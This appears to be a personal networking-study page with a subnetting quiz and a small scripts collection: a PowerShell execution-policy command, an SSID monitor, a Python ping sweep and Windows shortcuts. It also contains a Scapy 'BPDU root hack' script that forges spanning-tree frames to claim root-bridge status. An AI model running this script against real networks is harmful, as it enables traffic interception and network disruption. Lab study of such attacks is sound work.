Jump to:
Numbers Converter
Subnetting Quiz
Loading question...
Jump to:
Numbers Converter
Subnetting Quiz
scripts
Enable code execution in PowerShell
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
Monitor & Display SSID's in PowerShell
# Function to continuously monitor and display SSIDs function Monitor-SSIDs { while ($true) { Clear-Host Write-Host "Scanning for SSIDs..." # Run the netsh command to list available SSIDs $ssidList = netsh wlan show networks | Select-String -Pattern '^SSID \d+ : (.+)$' | ForEach-Object { $_.Matches.Groups[1].Value } # Output the list of SSIDs $ssidList Start-Sleep -Seconds 5 # Adjust the refresh interval as needed } } # Start monitoring SSIDs Monitor-SSIDs
pingsweep.py
import ipaddress import subprocess # ANSI escape codes for colors GREEN = '\033[92m' RED = '\033[91m' RESET = '\033[0m' # Function to ping an IP address def ping_ip(ip): try: output = subprocess.check_output(['ping', '-n', '1', str(ip)], stderr=subprocess.STDOUT, universal_newlines=True) if "TTL=" in output: return True except subprocess.CalledProcessError: return False return False def main(): # Get network address and subnet from user network = input("Enter network address (e.g., 192.168.1.0/24): ") net = ipaddress.ip_network(network, strict=False) # List to store all the IPs that are up up_hosts = [] # Ping each IP in the subnet for ip in net.hosts(): if ping_ip(ip): # Store IPs that are up up_hosts.append(str(ip)) # Green output for "up" hosts print(f"{GREEN}{ip} is up{RESET}") else: # Red output for "down" hosts print(f"{RED}{ip} is down{RESET}") # Summarize and print all up IPs print("\nSummary of IPs that are up:") if up_hosts: for up_ip in up_hosts: print(f"{GREEN}{up_ip} is up{RESET}") else: print(f"{RED}No hosts are up in this subnet.{RESET}") if __name__ == "__main__": main()
BPDU root hack
#!/usr/bin/env python3 #Import scapy from scapy.all import * #Capture STP frame (ether dst is dest mac of spanning tree) pkt = sniff(filter="ether dst 01:80:c2:00:00:00",count=1) #Change the MAC address in the frame to the followuing: pkt[0].src="00:00:00:00:00:01" #Set rootid pkt[0].rootid=0 #Set rootmac pkt[0].rootmac="00:00:00:00:00:01" #Set bridgeid pkt[0].bridgeid=0 #Set bridgemac pkt[0].bridgemac="00:00:00:00:00:01" #Show changed frame pkt[0].show() #Loop to send multiple frames into the network: for i in range (0,50): #Send changed frame back into the network: sendp(pkt[0], loop=0, verbose=1) #Sleep / wait for one second: time.sleep(1)
List of windows shortcuts
ncpa.cpl | Network Connections sysdm.cpl | System Properties inetcpl.cpl | Internet Properties firewall.cpl | Windows Firewall Settings hdwwiz.cpl | Device Manager netplwiz | User Accounts
empty box...
There's nothing here yet :(
infodump